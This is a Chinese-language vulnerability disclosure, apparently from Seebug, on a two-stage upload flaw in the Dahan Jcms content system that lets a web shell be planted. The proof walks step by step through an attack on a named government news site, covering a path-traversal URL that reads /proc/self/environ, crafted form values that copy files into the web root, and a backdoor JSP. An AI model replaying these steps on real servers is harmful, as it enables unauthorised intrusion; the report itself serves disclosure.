### 简要描述:
大汉网络Jcms二次上传Getshell.
### 详细说明:
这段程序漏洞的逻辑比较复杂,
下面代码分析:jcms/m_5_e/module/opr_updatemodule.jsp
```
... ...
//上传文件
CommonUploadFile upload = new CommonUploadFile( strTemp ,null);
upload.uploadFile(request);
String[] strFileName = upload.getAllFileName();
que_hiddenvalue = upload.getFormValue("que_hiddenvalue");
... ...
//两个参数,通过表单获取。
modalType = upload.getFormValue("vc_modaltype");
int i_updatetype = Convert.getStringValueInt(upload.getFormValue("c_updatetype_hid"));
... ...
/*将文件解压到解压目录*/
zf.unzip( true,strTemp + strFileName[0],strUnzipFile );
... ...
//设置表单c_updatetype_hid=1,进入此判断
if (1 == i_updatetype || 0 == i_updatetype){
//第一次上传modalType为空,上传文件被解压到strUnzipFile,拷贝到strModalPath,但是strModalPath不在web目录中
//第二次上传modalType设置为web目录,解压目录strUnzipFile+modalType的路径就会不存在,所以第一次上传为的是先把文件放上去
//第二次把已经上传好的文件,拷贝到strModalPath + modalType构造的web目录,就ok了。
bl = blf.updateModuleFileToWeb( strModalPath + modalType +"/",strUnzipFile+modalType+"/" );
}
... ...
```
### 漏洞证明:
首先通过文件读取漏洞获取web目录
http://news.jc.gansu.gov.cn/jcms/jcms_files/jcms1/web1/site/module/oss/downfile.jsp?filename=a.txt&pathfile=media/-1/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//proc/self/environ
[<img src="https://images.seebug.org/upload/201410/12105405f3aec4500f1a3e2fe26067d6ff9de7b2.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105405f3aec4500f1a3e2fe26067d6ff9de7b2.png)
得到web目录:
CLASSPATH=/soft/tomcat/bin/bootstrap.jar
/soft/tomcat/webapps/jcms/
第一次构造上传
http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp
编辑表单 c_updatetype_hid = 1
[<img src="https://images.seebug.org/upload/201410/121054434d0806dbffa23c0ae941c661cbc7f856.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/121054434d0806dbffa23c0ae941c661cbc7f856.png)
构造zip包: soft.zip 目录结构如下:j.jsp为后门文件。(必须满足这个结构才能上传成功)
[<img src="https://images.seebug.org/upload/201410/12105506e13571b459ae4d3650ed19456ae8f2f4.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105506e13571b459ae4d3650ed19456ae8f2f4.png)
点击上传,上传文件解压后存在于wei目录之外。
第二次构造上传
http://news.jc.gansu.gov.cn/jcms/m_5_e/module/opr_updatemodule.jsp
编辑表单
c_updatetype_hid = 1
vc_modaltype = ../soft/tomcat/webapps/jcms/ 使用上面得到的web目录
[<img src="https://images.seebug.org/upload/201410/121055383b20d00b6e2f0c3f400192c3490731ba.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/121055383b20d00b6e2f0c3f400192c3490731ba.png)
第二次上传同一个zip包,这次上传其实是无效的,
目的是通过vc_modaltype传递web目录,
将第一次生成的文件拷贝到web目录中。
访问http://news.jc.gansu.gov.cn/jcms/j.jsp GetShell
[<img src="https://images.seebug.org/upload/201410/12105614e8a85bebc557c65a2efadd76864fc984.png" alt="clipboard.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/12105614e8a85bebc557c65a2efadd76864fc984.png)
暂无评论